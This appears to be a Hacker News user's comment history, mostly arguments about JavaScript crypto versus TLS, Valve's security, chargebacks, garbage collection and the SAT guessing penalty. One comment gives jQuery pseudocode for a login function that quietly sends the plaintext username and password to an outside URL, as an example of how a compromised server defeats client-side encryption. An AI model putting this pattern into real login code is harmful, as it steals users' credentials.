Better HN
topnewbestaskshowjobs
Log inSign up

codexon

3,721 karma · joined Jun 10, 2009 (17y ago) · 1,423 submissions

Submissions

comment 11y ago · link · parent

If you are logging passwords, you've got bigger problems than worrying about attackers being able to middleman your TLS connection and somehow not able to modify it.

I know what you are trying to explain, and you are simply bending over backwards to make it look like this wasn't another example of how clueless about security Valve is.

comment 11y ago · link · parent

You aren't getting it though.

Yes defense in depth is good. But javascript encryption is the weakest link in the chain, it isn't an extra layer of security. This is something that many people seem to have trouble understanding.

As I just said in my original post, if you assume someone can already emulate your domain, all you have to do is edit the javascript to send the unencrypted password to your server and pass the encrypted version to the real server. No amount of layers of security is going to save you from that.

Maybe this pseudocode will help you understand.

  function submit(user, pass) {
    $.get('http://news.ycombinator.com/dump/?u='+user+'&p='+pass) // you will never notice this
    var encrypted = encrypt(pass)
    send(user, encrypted)
  }

comment 11y ago · link · parent

TLS already ensures that the attacker cannot intercept the login.

If you cannot trust the TLS connection, all bets are off.

comment 11y ago · link · parent

Yes, it does. It was a complete waste of time and does nothing useful except chew more CPU cycles.

This is why all the security experts say that JS crypto is useless.

comment 11y ago · link · parent

They may have logs but they don't have perfect logs.

I know people who got banned for having debuggers open not attached to the game.

The VAC system is also incredibly intrusive. It was scanning random processes on my computer, and I know this because when I tried to recompile my program, it failed because it couldn't delete the executable because Steam had an open handle on it...

You would never hear about Valve failing in these cases because no random person would trust testimony from random people over Valve.

comment 11y ago · link · parent

And you are correct. Bug fixes from Valve are few and far inbetween with many bugs being unpatched for years.

https://github.com/ValveSoftware/Source-1-Games/issues/assig...

comment 11y ago · link · parent

No not really. It highlights how incompetent Valve is at security.

If you cannot trust the webserver or whatever is being served to you, JS crypto isn't going to do anything. They could just send you a login script that sends your unencrypted password elsewhere.

comment 11y ago · link · parent

Last time I checked which was about 2 years ago, I've started seeing paywalls that blocked DNS.

comment 11y ago · link · parent

I don't doubt 1% is a common standard but the parent was making the assertion that "all the businesses that currently exist and accept credit cards are doing so without more than 1-2% chargeback rates".

comment 11y ago · link · parent

And what is your point? The remittance industry is not a valid business?

comment 11y ago · link · parent

If a payment is reversed, fine. The buyer got all their money back.

But adding a $25 "administrative fee" or a $10,000 fine seems like a frivolous act, given how little effort is spent investigating chargebacks.

comment 11y ago · link · parent

> Somehow, all the businesses that currently exist and accept credit cards are doing so without more than 1-2% chargeback rates.

Citation needed.

https://www.quora.com/Online-Payment-Gateways-and-Processing...

"Amount over $2400-$2500 mark suddenly experiences a surge and it is almost 3.0% to 3.5%"

I have personally had times where my chargeback rate has been above 2%.

Being able to accept credit cards is more of a right rather than a privilege given how much of a monopoly they have and it is virtually impossible to accept payments online through any other means.

I take it you are in favor of credit card companies being able to block payments to arbitrary entities such as wikileaks?

comment 11y ago · link · parent

And unfortunately it is encouraging poor behavior from customers to be able to get things for free.

I think everyone can agree that maybe with a 20% chargeback rate, there is something wrong with the business but 1-2% seems possible for a legitimate business.

As a credit card user, I don't think it is their job to dictate which businesses are worthy of operating or not.

As long as I get my money back when I do a chargeback, then they did their job.

comment 11y ago · link · parent

I have trouble believing even a 2% chargeback rate would endanger Visa/MC.

It seems like they hardly spend any time investigating chargebacks and most disputes seem to be won by the buyer by default unless they have a habit of filing chargebacks.

comment 11y ago · link · parent

The question I want answered is what's to stop the people who own the automation technology/patents/natural resource rights from leaving the country so they don't have to pay the taxes for everyone's minimum income?

comment 11y ago · link · parent

I have heard that in other places outside the US, medical school is not hell, and it was made that way by the AMA which enforces a monopoly on how many MDs schools are allowed to graduate each year.

Whether or not this means doctors educated in the US are superior and make fewer mistakes than those that are not, I do not know.

comment 11y ago · link · parent

It seems like anyone can file a paypal chargeback and win 99% of the time.

comment 11y ago · link · parent

Unlikely is better than nothing, that's my point.

comment 11y ago · link · parent

But you have to realize that at Google, that person is your only point of contact.

Making your displeasure known to at least 1 person who works there gets your message across better than sucking it up and letting them think it isn't really such a big deal.

comment 11y ago · link · parent

So are you really telling me Youtube wouldn't use EME if it was there?

comment 11y ago · link · parent

Why not blame youtube as well?

comment 11y ago · link · parent

I think it was quite reasonable to doubt youtube had a future.

The bandwidth costs still must be enormous and back then more so. Only a few companies had the clout to negotiate favorable prices for bandwidth.

Even now I am surprised that they are either making so much from ads or pay so little in bandwidth that they can do what Vimeo charges for free.

comment 11y ago · link · parent

It really isn't surprising for anyone who has read his history that he is not a very moral person.

He made the precursor to Facebook by hacking servers and stealing people's pictures.

Then he lied to the Winklevoss twins that he would build their website for them to stall them for as long as he could so he could release Facebook before them.

comment 11y ago · link · parent

When you have a scripting language with a GC you are targeting a class of users who can't or don't want to be careful enough to prevent circular references.

Circular references aren't easy to avoid, sometimes there can be more than 3 levels of indirection. The mental overhead of preventing circular references is often times as high as manually managing memory yourself.

If it was as good as you suggest, every new language would be using reference counting and not occasionally run mark and sweep.

comment 11y ago · link · parent

Reference counting is not a complete GC solution, it does not collect circular references which happen quite often.

That is why python will occasionally run a mark and sweep GC even though it says it uses reference counting.

comment 11y ago · link · parent

Again you are completely missing the point. The SAT is not "pro" guessing. It is mathematically neutral.

If you get rid of guessing completely, then there's no way to differentiate between people who have no clue what the question is and people who actually have a clue. Giving 3 points for a blank question rewards people who are clueless and punishes people that aren't.

If you really did crush the SAT I am rather confused how you fail to understand any of this.

PS: this thought just ran past my mind, it seems like you actually think your scoring scheme is actually mathematically fair. Someone that is able to eliminate 1/5 answers will average 1 point per question (4 points / 4 choices) Someone who cannot eliminate any answers gets 3 points per question??? Where is the logic in that?

If you crushed the SAT they must have removed the probability questions these days lol.

comment 11y ago · link · parent

That's the most awful suggestion I've ever heard.

You want a test to introduce MORE randomness just to please 1 group of people on a test that is supposed to measure your math ability including the ability to understand their simple guessing penalty?

You want everyone to think in the back of their mind that they got screwed by the SAT's random number generator or that some idiots hit the jackpot and get a much higher score than they should have?

comment 11y ago · link · parent

I just showed you it wasn't an arbitrary choice and that it has a mathematical basis.

Someone who has the ability to eliminate at least 1 choice understands the question better than someone who doesn't know what the question is asking at all, and is appropriately rewarded for it.

comment 11y ago · link · parent

The penalty is designed so that you will not gain more points than you deserve if you guess and had no idea which answers were wrong.

If there are 5 choices and you randomly guess, you have 4/5 chances to get -1/4 and 1/5 chance to get 1 point. That means if you had no idea which answer is correct, you will net 0 points over the long run, and this will be the same as leaving the question blank. 4/5 * -1/4 + 1/5 = 0.

If you are able to eliminate 1 choice, you will on average get 1/4th more points by picking a random answer among the remaining choices. If you are able to do that, then you deserve the extra points, because it took more knowledge for you to eliminate it.

Anyone that doesn't realize this deserves to have a lower score, and if you can't eliminate answers then you also deserve a lower score. Bringing in racial and gender biases into this is ridiculous.

comment 11y ago · link · parent

I don't see what's wrong with the guessing mechanism.

If you cannot eliminate any answers, then your average expected score gain will be the same as not answering.

If you can eliminate choices, then your average expected score gain will be proportional to how many answers you've eliminated.

If a group fails to realize this I would say the SAT was successfully in measuring their cognitive abilities in this regard.

1
121314
48